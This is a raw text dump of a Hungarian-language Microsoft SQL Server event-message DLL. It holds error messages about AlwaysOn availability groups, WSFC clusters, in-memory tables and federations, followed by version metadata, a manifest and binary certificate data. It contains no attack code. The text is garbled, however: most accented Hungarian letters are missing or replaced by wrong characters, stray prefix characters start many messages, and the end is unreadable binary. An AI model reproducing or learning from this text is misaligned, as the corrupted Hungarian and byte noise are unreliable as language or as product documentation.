A helyi rendelkezsre llsi msodpldny csatlakoztatsa a kvetkezQ rendelkezsre llsi csoporthoz sikertelen volt:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt: %2!s!. A mqvelet visszalltsra irnyul ksrlet sikertelen volt. A hibrl az SQL Server hibanaplja tartalmaz tovbbi rszleteket. Hajtsa vgre a DROP AVAILABILITY GROUP parancsot, hogy eltvoltson minden metaadatot, amely a rendelkezsre llsi csoport utn esetleg megmaradt.

Sikertelen volt a kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnynak elsQdleges msodpldnny val kinevezse:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt, s le lett lltva: %2!s!. A hibrl s az elhrtsra szolgl lpsekrQl az elQzQ hiba, valamint az SQL Server hibanaplja tartalmaz tovbbi rszleteket.

4Sikertelen volt a kvetkezQ rendelkezsre llsi csoport konfigurcijhoz tartoz ciklikus redundanciasszeg (CRC) rvnyestse:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt: %2!s!. A konfigurci s a csatlakoztatott adatbzisok konzisztencijnak vdelme rdekben a rendelkezsre llsi csoport offline llapotra lett lltva. A hibrl az SQL Server hibanaplja tartalmaz tovbbi rszleteket. Ha megsrltek a konfigurcis adatok, esetleg el kell dobni, s jbl ltre kell hozni a rendelkezsre llsi csoportot.

Sikertelen volt a kvetkezQ rendelkezsre llsi csoport konfigurcijhoz tartoz sorozatszm rvnyestse:  %1!s! . A memriban levQ sorozatszm nem egyezik a megQrztt sorozatszmmal. A rendszer automatikusan jraindtja a rendelkezsre llsi csoportot s/vagy a helyi rendelkezsre llsi msodpldnyt. EgyelQre nincs szksg felhasznli beavatkozsra.

Hiba trtnt, mikzben a rendszer arra vrt, hogy a kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya tvegye az elsQdleges szerepkrt:  %1!s! . A mqvelet a kvetkezQ SQL OS-hibba tkztt, s le lett lltva: %2!s!. GyQzQdjn meg arrl, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtje s a rendelkezsre llsi csoport megfelelQ llapotban van a parancs kiadshoz, majd prblja jbl vgrehajtani a parancsot.

Hiba trtnt, mikzben a rendszer arra vrt, hogy a kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya tvegye a feloldi szerepkrt:  %1!s! . A mqvelet a kvetkezQ SQL OS-hibba tkztt, s le lett lltva: %2!s!. GyQzQdjn meg arrl, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtje s a rendelkezsre llsi csoport megfelelQ llapotban van a parancs kiadshoz, majd prblja jbl vgrehajtani a parancsot.

IdQtllpsi hiba trtnt, mikzben a rendszer arra vrt, hogy hozzfrjen a kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnyhoz:  %1!s! . Egy msik mqvelet ppen hozzfr a rendelkezsre llsi msodpldnyhoz. Vrja meg a folyamatban levQ mqvelet befejezQdst, majd prblja jbl vgrehajtani a parancsot.

Hiba trtnt, mikzben a rendszer arra vrt, hogy hozzfrjen a kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnyhoz:  %1!s! . A mqvelet a kvetkezQ SQL OS-hibba tkztt, s le lett lltva: %2!s!. GyQzQdjn meg arrl, hogy a helyi rendelkezsre llsi msodpldny megfelelQ llapotban van, majd prblja jbl vgrehajtani a parancsot.

,Hiba trtnt a kvetkezQ rendelkezsre llsi csoportban levQ  %1!s!  rendelkezsre llsi msodpldnyhoz val hozzfrsi ksrlet sorn:  %2!s! . A rendelkezsre llsi msodpldny nem tallhat a rendelkezsre llsi csoport konfigurcijban. GyQzQdjn meg a rendelkezsre llsi csoport s a rendelkezsre llsi msodpldny nevnek helyessgrQl, majd prblja jbl vgrehajtani a parancsot.

dHiba trtnt a kvetkezQ rendelkezsre llsi csoportban levQ,  %1!s!  azonostj rendelkezsre llsi msodpldnyhoz val hozzfrsi ksrlet sorn:  %2!s! . A rendelkezsre llsi msodpldny nem tallhat a rendelkezsre llsi csoport konfigurcijban. GyQzQdjn meg a rendelkezsre llsi csoport nevnek s a rendelkezsre llsi msodpldny azonostjnak helyessgrQl, majd prblja jbl vgrehajtani a parancsot.

hHiba trtnt a kvetkezQ rendelkezsre llsi csoportban levQ, a rendelkezsre llsi csoport  %1!s!  azonostj adatbzishoz val hozzfrsi ksrlet sorn:  %2!s! . A rendelkezsre llsi adatbzis nem tallhat a rendelkezsre llsi csoport konfigurcijban. GyQzQdjn meg a rendelkezsre llsi csoport nevnek s a rendelkezsre llsi adatbzis azonostjnak helyessgrQl, majd prblja jbl vgrehajtani a parancsot.

A kvetkezQ rendelkezsre llsi csoport ltrehozsa sikertelen volt, mert mr ltezik egy Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport a megadott nven:  %1!s! . A mqvelet sikeresen vissza lett lltva. Egy rendelkezsre llsi csoport ltrehozsnak jbli megksrlshez tvoltsa el vagy nevezze t a ltezQ WSFC-csoportot, vagy prblja jbl elvgezni a mqveletet egy eltrQ nv megadsval a rendelkezsre llsi csoporthoz.

<Hiba trtnt a kvetkezQ rendelkezsre llsi csoportnak a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtjbQl s a helyi metaadatokbl val eldobsakor:  %1!s! . A mqvelet a kvetkezQ SQL OS-hibba tkztt, s le lett lltva: %2!s!. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl, majd prblja jbl vgrehajtani a parancsot.

Hiba trtnt a helyi rendelkezsre llsi msodpldnynak a kvetkezQ rendelkezsre llsi csoportbl val eltvoltsakor:  %1!s! . A mqvelet a kvetkezQ SQL OS-hibba tkztt, s le lett lltva: %2!s!. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl, majd prblja jbl vgrehajtani a parancsot.

Folyamatban van a megadott  %1!s!  rendelkezsre llsi csoport rendelkezsre llsi msodpldnynak eldobsa. Vrja meg a DROP parancs vgrehajtsnak befejezQdst, s ksQbb prblja jbl elvgezni a mqveletet.

A kvetkezQ rendelkezsre llsi csoport nem dobhat el errQl az SQL Server-pldnyrl:  %1!s! . Folyamatban van a rendelkezsre llsi csoport ltrehozsa. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Vrja meg az aktulis mqvelet befejezQdst, majd szksg esetn prblja megismtelni a parancs vgrehajtst.

A kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya nem tvolthat el az SQL Server jelen pldnybl:  %1!s! . Folyamatban van a rendelkezsre llsi csoport ltrehozsa. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Vrja meg az aktulis mqvelet befejezQdst, majd szksg esetn prblja megismtelni a parancs vgrehajtst.

Ksrlet trtnt egy  %1!s!  azonostj, nem ltezQ vagy nem inicializlt rendelkezsre llsi csoport elrsre. Ez ltalban egy belsQ hiballapot, pldul folyamatban van a rendelkezsre llsi csoport eldobsa, vagy a helyi WSFC-csompont elvesztette a kvrumot. Ilyen esetekben nincs szksg felhasznli beavatkozsra.

,A kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya nem vlt elsQdlegess:  %1!s! . Egy prhuzamos mqvelet esetleg megvltoztatta a rendelkezsre llsi csoport llapott a Windows Server feladattvteli frtben. GyQzQdjn meg arrl, hogy a rendelkezsre llsi csoport llapota helyes a Windows Server feladattvteli frtben, majd prblja jbl elvgezni a mqveletet.

Nem sikerlt belltani a(z)  %1!s!  rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnynak csatlakoztatott llapott a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) adatbzisban. Vagy a helyi rendelkezsre llsi msodpldny mr nem elsQdleges, vagy nem rhetQ el a Windows Server feladattvteli frtszolgltats. GyQzQdjn meg arrl, hogy a helyi WSFC-csompont online llapot, s hogy a helyi rendelkezsre llsi msodpldny az elsQdleges msodpldny. Ezt kvetQen prblja jbl elvgezni a mqveletet.

tNem sikerlt mdostani a rendelkezsre llsi msodpldnyok belltsait a kvetkezQ rendelkezsre llsi csoportnl:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt, mielQtt frissteni lehetett volna a rendelkezsre llsi csoport konfigurcijt: %2!s!. A mqvelet vissza lett lltva. Tovbbi informci az SQL Server hibanapljban olvashat. GyQzQdjn meg arrl, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) helyi csompontja online llapot, majd prblja megismtelni a parancs vgrehajtst.

Nem sikerlt mdostani a rendelkezsre llsi msodpldnyok belltsait a kvetkezQ rendelkezsre llsi csoportnl:  %1!s! . A rendelkezsre llsi csoport konfigurcija frisstve lett. Azonban a mqvelet a kvetkezQ SQL Server-hibba tkztt, mikzben alkalmazta az j konfigurcit a helyi rendelkezsre llsi msodpldnyra, s le lett lltva: %2!s!. Tovbbi informci az SQL Server hibanapljban olvashat. GyQzQdjn meg arrl, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) helyi csompontja online llapot. Hasznlja az ALTER AVAILABILITY GROUP parancsot a rendelkezsre llsi csoport konfigurcijban trtnt mdostsok visszavonsra.

A kvetkezQ rendelkezsre llsi csoport jelenleg nem tudja feldolgozni az ALTER AVAILABILITY GROUP parancsot:  %1!s! . Mg folyamatban van a rendelkezsre llsi csoport ltrehozsa. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Vrja meg a CREATE AVAILABILITY GROUP parancs vgrehajtsnak befejezQdst, majd prblja jbl elvgezni a mqveletet.

A kvetkezQ rendelkezsre llsi csoport jelenleg nem tudja feldolgozni az ALTER AVAILABILITY GROUP parancsot:  %1!s! . Folyamatban van a rendelkezsre llsi csoport eldobsa. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Esetleg jbl ltre kell majd hozni a rendelkezsre llsi csoportot, ha az eldobsa nem volt szndkos.

,A kvetkezQ rendelkezsre llsi csoport nem tudta feldolgozni a(z) %2!s!-%3!s! parancsot:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt, mielQtt frissteni lehetett volna a rendelkezsre llsi csoport konfigurcijt, s vissza lett lltva: %4!s!. Tovbbi rszletek az SQL Server hibanapljban olvashatk. GyQzQdjn meg arrl, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) helyi csompontja online llapot, majd prblja megismtelni a parancs vgrehajtst.

A kvetkezQ rendelkezsre llsi csoport nem tudta feldolgozni a(z) %2!s!-%3!s! parancsot:  %1!s! . A rendelkezsre llsi csoport konfigurcija frisstve lett. Azonban a mqvelet a kvetkezQ SQL Server-hibba tkztt, mikzben alkalmazta az j konfigurcit a helyi rendelkezsre llsi msodpldnyra, s le lett lltva: %4!s!. Tovbbi rszletek az SQL Server hibanapljban olvashatk. GyQzQdjn meg arrl, hogy a helyi Windows Server feladattvteli frtszolgltatsi csompont online llapot. Hasznlja az ALTER AVAILABILITY GROUP parancsot a rendelkezsre llsi csoport konfigurcijban trtnt mdostsok visszavonsra.

HA kvetkezQ rendelkezsre llsi csoport nem tudta feldolgozni a(z) %2!s!-%3!s! parancsot:  %1!s! . A helyi rendelkezsre llsi msodpldny nincs olyan llapotban, amely lehetQv tenn a parancs feldolgozst. GyQzQdjn meg arrl, hogy a rendelkezsre llsi csoport online llapot, s hogy a helyi rendelkezsre llsi msodpldny az elsQdleges msodpldny, majd prblja megismtelni a parancs vgrehajtst.

A kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya nem vlhat az elsQdleges msodpldnny:  %1!s! . Az utols ismert elsQdleges rendelkezsre llsi msodpldny magasabb verziszm a helyi rendelkezsre llsi msodpldnynl. Frisstse az SQL Server helyi pldnyt az aktulis elsQdleges rendelkezsre llsi msodpldnyt futtat kiszolglpldnnyal azonos vagy annl jabb verzira, majd prblja megismtelni a parancs vgrehajtst.

ErQforrshiny miatt sikertelen volt egy munkavgzQ feladat ltrehozsa s betemezse az AlwaysOn rendelkezsre llsi csoportok szmra (SQL OS-hiba: %1!s!). Az j mqveletek feldolgozsa esetleg kslekedhet vagy akadozhat, amg nem hrtjk el az erQforrskorltokkal kapcsolatos problmt. Cskkentse a memriamennyisget vagy a szlszmot az SQL Server pldnyn, hogy lehetQv vljon j szlak betemezse. Ha az j szlak betemezse megtrtnik, akkor a problma esetleg magtl megolddhat. Ha azonban a problma tartsan fennll, esetleg jra kell indtani az SQL Server helyi pldnyt.

Hiba trtnt, mikzben a rendszer arra vrt, hogy a kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya befejezze az online llapot utni munkt:  %1!s! . A mqvelet a kvetkezQ SQL OS-hibba tkztt, s le lett lltva: %2!s!. GyQzQdjn meg arrl, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtje s a rendelkezsre llsi csoport megfelelQ llapotban van a parancs kiadshoz, majd prblja jbl vgrehajtani a parancsot.

A kvetkezQ rendelkezsre llsi csoport nem tudta feldolgozni a WSFC-brletmegjtsi parancsot:  %1!s! . A helyi rendelkezsre llsi msodpldny brlete mr nem rvnyes a brletmegjtsi parancs feldolgozshoz. A rendelkezsre llsi msodpldny brlete lejrt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A kvetkezQ rendelkezsre llsi csoport ltrehozsa sikertelen volt, mert mr ltezik egy Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport a megadott nven:  %1!s! . A mqvelet visszalltsra irnyul ksrlet sikertelen volt. A hibrl az SQL Server hibanaplja tartalmaz tovbbi rszleteket. A rszlegesen ltrehozott rendelkezsre llsi csoport kzi eltvoltshoz futtassa a DROP AVAILABILITY GROUP parancsot. Adja meg jbl a CREATE AVAILABILITY GROUP parancsot egyedi nv megadsval a rendelkezsre llsi csoport szmra.

TNincs megadva a FAILOVER_MODE bellts a kvetkezQ msodpldnyhoz:  %1!s! . Adja meg a parancsot jbl a msodpldnyra vonatkoz feladattvteli md megadsval.

hNincs megadva az AVAILABILITY_MODE bellts a kvetkezQ msodpldnyhoz:  %1!s! . Adja meg a parancsot jbl a msodpldnyra vonatkoz rendelkezsre llsi md megadsval.

A megadott parancs rvnytelen, mert az SQL Server e kiadsa nem tmogatja a rendelkezsre llsi csoportokra vonatkoz AlwaysOn funkcit. Az SQL Server klnbzQ kiadsaiban tmogatott funkcikrl az SQL Server online knyvekben olvashat tovbbi informci.

A SEMANTICSIMILARITYTABLE, a SEMANTICKEYPHRASETABLE s a SEMANTICSIMILARITYDETAILSTABLE fggvny nem tmogatja a tvoli adatforrsokat.

A SEMANTICSIMILARITYTABLE, a SEMANTICKEYPHRASETABLE vagy a SEMANTICSIMILARITYDETAILSTABLE fggvnyben megadott  %1!s!  forrstblnak nincs olyan teljes szveges indexe, amely a STATISTICAL_SEMANTICS kapcsolt hasznlja. E fggvny hasznlathoz olyan teljes szveges index szksges, amely hasznlja a STATISTICAL_SEMANTICS kapcsolt.

A SEMANTICSIMILARITYTABLE, a SEMANTICKEYPHRASETABLE vagy a SEMANTICSIMILARITYDETAILSTABLE fggvnyben megadott  %1!s!  oszlop nincs teljes szvegesen indexelve a STATISTICAL_SEMANTICS kapcsolval. Az e fggvnyben val felhasznlshoz az oszlopnak teljes szvegesen indexelve kell lennie a STATISTICAL_SEMANTICS kapcsolval.

A source_key paramter megadsa ktelezQ a SEMANTICSIMILARITYTABLE fggvnyben. 

Mr regisztrlva van egy szemantikai nyelvi statisztikai adatbzis.

Nincs regisztrlva szemantikai nyelvi statisztikai adatbzis.

DA kvetkezQ adatbzis nem ltezik, vagy az adatbzis formtuma rvnytelen:  %1!s! . Adja meg egy szemantikai nyelvi statisztikai adatbzis rvnyes nevt. 

Hiba trtnt a szemantikai nyelvi statisztikai adatbzis regisztrlsra tett ksrlet sorn.

$A SEMANTICSIMILARITYTABLE, a SEMANTICKEYPHRASETABLE s a SEMANTICSIMILARITYDETAILSTABLE fggvny nem tmogatja a mdostst vagy a beszrst.

A jelenlegi tranzakci semmilyen mqveletet nem tmogat. lltsa vissza a tranzakcit.

Meg lett szaktva egy korbbi tranzakci, amelytQl az aktulis tranzakci fgg, s az aktulis tranzakci mr nem vglegesthetQ.

<Az aktulis tranzakci megprblt mdostani egy rekordot, amely azonban mr mdosult a tranzakci kezdete ta. Az utasts vgrehajtsa le lett lltva.

Egy memriban trolt tblzatindexhez tartoz gyqjtQk szma csak 2 hatvnya lehet.

Az aktulis tranzakci vglegestse sikertelen volt. A tranzakci llapota: %1!s!, az eredmny: %2!s!, a hiba: x%3!s!.

`Tllpte a natv mdon lefordtott trolt eljrsokban levQ feltteles blokkokra s kivtelblokkokra vonatkoz %1!s! begyazsi korltot. Egyszerqstse a trolt eljrst.

Tllpte a memriban trolt tblzatokra vonatkoz %1!s! sormretkorltot. Egyszerqstse a tblzat defincijt.

A(z) %1!s! adatbzis mr rendszerbe lett lltva a legutbbi adatbzis-eldobs ta.

Nem tlthetQ be a kvetkezQ adatbzishoz tartoz lefordtott DLL-fjl: %1!s!.

A kvetkezQ adatbzis jelenleg nincs rendszerbe lltva: %1!s!.

A kvetkezQ fjl megnyitsa sikertelen volt: %1!s!. GetLastError = 0x%2!s!;

Nem lehet a C nyelvq fordtn bellre hvni. GetLastError = 0x%1!s!;

|A C nyelvq fordt hibt szlelt. A kilpsi kd: %1!s!.

Sikertelen volt az alaprtelmezett paramter talaktsa a kvetkezQ paramter szmra:  %1!s! .

xAz ellenQrzQponti mqvelet vgrehajtsa sikertelen volt.

xA visszalltsi mqvelet vgrehajtsa sikertelen volt.

Egy felhasznli tranzakci nem hvhat natv mdon lefordtott eljrsokat egynl tbb adatbzisbl.

Az elosztott tranzakcik memriban trolt tblzatok esetn nem tmogatottak.

A lefordtott trolt eljrsokban levQ lekrdezsekben legfeljebb %1!s! sszekttets engedlyezett.

A(z) %1!s! adatbzis nem lett rendszerbe lltva, vagy mr el lett dobva a rendszerbe lltsa ta, ezrt nem dobhat el.

Nem tallhat az ideiglenes fjlok trolsra szolgl  MEGHAJT:\Hekaton  knyvtr.

A HRESULT 0x%1!s! rtkhez tartoz hibazenet mg nincs megvalstva.

`A WSFC frtszolgltatsa offline llapot.

A WSFC frtszolgltatsa offline llapot, s ez a rendelkezsre llsi csoport nem rhetQ el. Ennek oka a frtszolgltats mqkdsben fellpQ problma lehet, illetve a kvrum elvesztse a frtben.

lA rendelkezsre llsi csoport offline llapot.

A rendelkezsre llsi csoport offline llapot, s nem rhetQ el. Ennek oka az elsQdleges msodpldnyt futtat kiszolglpldny meghibsodsa lehet, illetve az, hogy a WSFC rendelkezsre llsi csoport erQforrsa offline llapotba kerlt.

A rendelkezsre llsi csoport nem ll kszen az automatikus feladattvtelre.

A rendelkezsre llsi csoport nem ll kszen az automatikus feladattvtelre. Az elsQdleges msodpldny s egy msodlagos msodpldny automatikus feladattvtelre van konfigurlva, a msodlagos msodpldny azonban nem ll kszen az automatikus feladattvtelre. A msodlagos msodpldny esetleg nem rhetQ el, vagy az adatszinkronizlsi llapota jelenleg nem a SYNCHRONIZED llapot.

Egyes rendelkezsre llsi msodpldnyok nem vgeznek adatszinkronizlst.

dEbben a rendelkezsre llsi csoportban legalbb egy msodlagos msodpldny NOT SYNCHRONIZING szinkronizlsi llapot, s nem fogad adatokat az elsQdleges msodpldnytl.

xEgyes szinkron msodpldnyok nincsenek szinkronizlva.

Ebben a rendelkezsre llsi csoportban legalbb egy szinkron msodpldny jelenleg nincs szinkronizlva. E msodpldny(ok) szinkronizlsi llapota SYNCHRONIZING vagy NOT SYNCHRONIZING lehet.

Egyes rendelkezsre llsi msodpldnyok nem rendelkeznek megfelelQ szerepkrrel.

DEbben a rendelkezsre llsi csoportban legalbb egy rendelkezsre llsi msodpldny jelenleg nem rendelkezik az elsQdleges vagy a msodlagos szerepkrrel.

Egyes rendelkezsre llsi msodpldnyok le vannak vlasztva.

TEbben a rendelkezsre llsi csoportban legalbb egy msodlagos msodpldny nincs csatlakoztatva az elsQdleges msodpldnyhoz. A kapcsolati llapota DISCONNECTED.

A rendelkezsre llsi msodpldny nem rendelkezik megfelelQ szerepkrrel.

4Ennek a rendelkezsre llsi msodpldnynak a szerepkre nem megfelelQ. A msodpldny nem rendelkezik az elsQdleges vagy a msodlagos szerepkrrel.

|Ez a rendelkezsre llsi msodpldny le van vlasztva.

Ez a msodlagos msodpldny nincs csatlakoztatva az elsQdleges msodpldnyhoz. A kapcsolati llapota DISCONNECTED.

Egyes rendelkezsre llsi adatbzisok adatszinkronizlsi llapota nem megfelelQ.

Ezen a rendelkezsre llsi msodpldnyon legalbb egy rendelkezsre llsi adatbzis adatszinkronizlsi llapota nem megfelelQ. Ha ez egy aszinkron vglegestsq rendelkezsre llsi msodpldny, akkor az sszes rendelkezsre llsi adatbzisnak SYNCHRONIZING llapotban kellene lennie. Ha ez egy szinkron vglegestsq rendelkezsre llsi msodpldny, akkor az sszes rendelkezsre llsi adatbzisnak SYNCHRONIZED llapotban kellene lennie.

tA rendelkezsre llsi adatbzis fel van fggesztve.

Egy adatbzis-rendszergazda vagy a rendszer felfggesztette az adatszinkronizlst ezen a rendelkezsre llsi adatbzison.

dA msodlagos adatbzis nincs csatlakoztatva.

@Ez a msodlagos adatbzis nincs csatlakoztatva a rendelkezsre llsi csoporthoz. Ennek a msodlagos adatbzisnak a konfigurcija hinyos. Az SQL Server online knyvekben bQvebben olvashat arrl, hogyan csatlakoztathat egy msodlagos adatbzis egy rendelkezsre llsi csoporthoz.

A rendelkezsre llsi adatbzis adatszinkronizlsi llapota nem megfelelQ.

Ennek a rendelkezsre llsi adatbzisnak az adatszinkronizlsi llapota nem megfelelQ. Aszinkron vglegestsq rendelkezsre llsi msodpldnyon az sszes rendelkezsre llsi adatbzisnak SYNCHRONIZING llapotban kellene lennie. Szinkron vglegestsq msodpldnyon az sszes rendelkezsre llsi adatbzisnak SYNCHRONIZED llapotban kellene lennie.

|A rendelkezsre llsi msodpldny nincs csatlakoztatva.

Ez a msodlagos msodpldny nincs csatlakoztatva a rendelkezsre llsi csoporthoz. Ahhoz, hogy egy rendelkezsre llsi msodpldny sikeresen csatlakoztatva legyen a rendelkezsre llsi csoporthoz, a csatlakoztatsi llapotnak Csatlakoztatott nll pldny (1) vagy Csatlakoztatott feladattvteli frt (2) rtkqnek kell lennie. Az SQL Server online knyvekben bQvebben olvashat arrl, hogyan csatlakoztathat egy msodlagos msodpldny egy rendelkezsre llsi csoporthoz.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott sszevonsnv nem ltezik.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott %2!s! sszevons-felosztsnv rvnytelen.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott adattpus sszevons-felosztsknt val hasznlata nem tmogatott.

DA kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott rtk rvnytelen a(z) %2!s! sszevons-felosztshoz s a kvetkezQ sszevonshoz: %3!s!.

A szqrQrtk nem llthat be, vagy mr be lett lltva erre a munkamenetre.

Az sszevonsi kulcs rtke az engedlyezett tartomnyon kvl esik ehhez a taghoz.

(A(z) %1!s! nem futtathat, amg folyamatban van egy msik sszevonsi mqvelet a(z) %2!s! sszevonson s a kvetkezQ azonostj tagon: %3!s!.

Egy olyan tblacsoportban levQ partci, amelyhez definilva van partcis kulcs, nem lehet egy sszevons tagja.

hA(z) %1!s! nem tmogatott a kvetkezQn: %2!s!.

A megadott sszevonsi mqveleti azonost mr hasznlatban van.

\A megadott %1!s! sszevons nem ltezik.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott %2!s! sszevonsnv rvnytelen.

A megadott sszevonsi mqveleti azonost rvnytelen a kvetkezQ mqvelethez: %1!s!.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. Az sszevons rvnytelen llapotban van.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A(z) %2!s! nem rvnyes sszevons-azonost.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A(z) %2!s! nem rvnyes sszevonsitag-azonost.

Egy oszlopbeszrs vagy -mdosts tkzik egy sszevonsi tag tartomnyval. Az utasts vgrehajtsa meg lett szaktva. Az tkzs helye a kvetkezQ adatbzis:  %1!s! , tbla:  %2!s! , oszlop:  %3!s! .

lA(z) %1!s! nem hvhat meg a kvetkezQre: %2!s!.

\Az ALTER FEDERATION SPLIT mqvelet vgrehajtsa sikertelen volt. A megadott hatrrtk mr ltezik a(z) %1!s! sszevons-felosztshoz s a kvetkezQ sszevonshoz: %2!s!.

PA kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott hatrrtk rvnytelen a(z) %2!s! sszevons-felosztshoz s a kvetkezQ sszevonshoz: %3!s!.

PA kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott hatrrtk nem ltezik a(z) %2!s! sszevons-felosztshoz s a kvetkezQ sszevonshoz: %3!s!.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott tpusinformci rvnytelen sszevons-felosztshoz.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. A megadott hatrrtk rvnytelen az aktulis sszevonsi taghoz.

A kvetkezQ mqvelet vgrehajtsa sikertelen volt: %1!s!. Az sszevons-felosztsi sma mrete nem haladhatja meg a 900 bjtot.

A USE FEDERATION utastsbl hinyzik a ktelezQ %1!s! bellts. Adja meg a belltst az utasts WITH zradkban.

A USE FEDERATION utasts nem tmogatott olyan kapcsolaton, amelyre engedlyezve van tbb aktv eredmnykszlet (MARS).

A USE FEDERATION utasts nem visszallthat, megszemlyestett biztonsgi krnyezetben nem engedlyezett.

Az sszevons %1!s! tagja nem rhetQ el. Egy msik parancs ppen ltrehozza vagy eldobja.

Az sszevonsi tagok adatbzisa nem dobhat el a DROP DATABASE parancs hasznlatval.

Az sszevonsi tagok adatbzisa nem nevezhetQ t az ALTER DATABASE parancs hasznlatval.

$Az ALTER FEDERATION SPLIT mqvelet meg lett szaktva. A kvetkezQ sszevons el lett dobva, mikzben mg folyamatban volt a feloszts: %1!s!.

Az ALTER FEDERATION SPLIT mqvelet vgrehajtsa belsQ hiba miatt sikertelen volt. A kvetkezQ nyomkvetsi azonostt rendeltk ehhez a krelemhez:  %1!s! . Ha segtsgre van szksge, adja meg ezt a nyomkvetsi azonostt az gyflszolglatnak.

A CREATE DATABASE AS COPY OF %1!s! utasts vgrehajtsa nem tmogatott.

tAz sszevonsi tagok adatbzisa nem llthat vissza.

4VS_VERSION_INFOn?StringFileInfo040E04B0&PlatformNT x64HLegalTrademarksA Microsoft SQL Server nv a Microsoft Corporation bejegyzett vdjegye. CommentsSQL&GoldenBitsIgazLCompanyNameMicrosoft Corporationh FileDescriptionSQL esemnyzenetek DLL-kdtra2FileVersion2011.0110.3000.00 ((SQL11_PCU_Main).121019-1325 )2	InternalNameSQLEVN70r'LegalCopyrightMicrosoft Corp. Minden jog fenntartva.B
OriginalFilenameSQLEVN70.DLLJProductNameMicrosoft SQL Server<ProductVersion11.0.3000.0DVarFileInfo$Translation<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD=0=	*H
=0=10	+0L
+7>0<0
+70	0!0	+9,q
G?&003'80
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
120904214209Z
130304214209Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Il"e;abt)qX^W
ibn6N"ya%X,12>tW6SAiimVn&Msdqa!hX[I50Szk+!gtxa|*gٺc<N>}~H=uc )9AT8Td@7
"0# kYୟ`L
bZxvlL8G
0	0U%0
+0UQJ?óe,0U#0ҴX7.3L
0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicCodSigPCA_08-31-2010.crt0
	*H
*&zbx[ħxS(B?8d5HzOGڇLږdρ3x|mqaNds?{'4R?GCpSK*w{nF(1Ji]3<GEʋO	&n_ډZ^_|FGX+FQb_i\qV ,:Nh~;yB9I^pBułUUa00
aJ 0
	*H
0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0
120109222559Z
130409222559Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:B8EC-30A4-71441%0#UMicrosoft Time-Stamp Service0"0
	*H
0
